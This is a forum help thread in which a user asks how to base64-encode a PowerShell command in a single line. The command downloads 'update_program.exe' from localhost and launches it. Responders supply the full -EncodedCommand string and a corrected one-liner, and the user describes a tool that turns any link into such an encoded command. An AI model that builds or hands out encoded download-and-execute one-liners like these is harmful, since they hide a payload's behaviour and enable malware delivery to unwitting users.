Encode long command in unique command

I’m trying to encode in base64 a long command in PowerShell, I’m trying to automate this:

$command = “(New-Object System.Net.WebClient).DownloadFile(‘http://localhost/update_program.exe’,'updater.exe’); Start-Process ‘updater.exe’”
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
$encodedCommand = [Convert]::ToBase64String($bytes)
echo $encodedCommand

The problem is that it is impossible to put all this in a command. I tried:

powershell $command = (New-Object System.Net.WebClient).DownloadFile(‘http://localhost/update_program.exe’,'updater.exe’); Start-Process ‘updater.exe’";$bytes = [Text.Encoding]::Unicode.GetBytes($command);$encodedCommand = [Convert]::ToBase64String($bytes);echo $encodedCommand;

But it executes the contents of the string $command as a command and does not show the encoded command. How can I achieve this by using a single statement passed to powershell as in the second code snippet above?

It seems kind of silly to want to pass the unencoded command as an argument to PowerShell.exe just to have it spit out the encoded command. The point of encoding the command is to avoid all the quoting / escaping nonsense that you’d have to do to get the unencoded version working properly. :slight_smile:

Why not just launch powershell.exe and paste in those commands, rather than trying to do it with arguments to powershell.exe? Then, once that’s done, you can use the encoded representation in later calls:

powershell.exe -EncodedCommand KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAAvAHUAcABkAGEAdABlAF8AcAByAG8AZwByAGEAbQAuAGUAeABlACcALAAnAHUAcABkAGEAdABlAHIALgBlAHgAZQAnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAnAHUAcABkAGEAdABlAHIALgBlAHgAZQAnAA==

It is a program I’m doing, the user enters a link and returns the encoded for powershell command, is what I’m trying to do, getting to the command to display the contents encoded in a single line, the issue is that it is impossible , and try base64 encoding commands and UTF16LE but it became impossible for me.
This is the plan B, if I can do all this in an already would end command

You are missing a ", the -command parameter and your curly braces {}

powershell.exe -command {$command = "(New-Object System.Net.WebClient).DownloadFile('http://localhost/update_program.exe','updater.exe'); Start-Process 'updater.exe'";$bytes = [Text.Encoding]::Unicode.GetBytes($command);$encodedCommand = [Convert]::ToBase64String($bytes);echo $encodedCommand;}

Results:
KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBsAG8AYwBhAGwAaABvAHMAdAAvAHUAcABkAGEAdABlAF8AcAByAG8AZwByAGEAbQAuAGUAeABlACcALAAnAHUAcABkAGEAdABlAHIALgBlAHgAZQ
AnACkAOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAnAHUAcABkAGEAdABlAHIALgBlAHgAZQAnAA==

You are going to have a hard time, however, if the command you are trying to encode has " in it. You will have to have your logic escape the " character before passing it.

thanks for the help, but only probe your command returns me the same command uncoded, I have some outdated version of powershell?

Can you give a bit more detail about your intended solution? What language are you writing this “program” in? How would users execute the program? etc…

In any case I’m not sure I see the reason for executing powershell.exe if you are only looking to return the encoded command, presumably for users to copy and run with “powershell.exe -encodedcommand”.

If that is the end goal, your workflow should simply be accept input, convert input to base64 and output the result. Again, no reason to execute powershell.exe, as the encoding is not language specific and could be done in any language that you have chosen to write your “program” in.

Simple , as that made Curtis Smith , only if it returns the command encoded in base64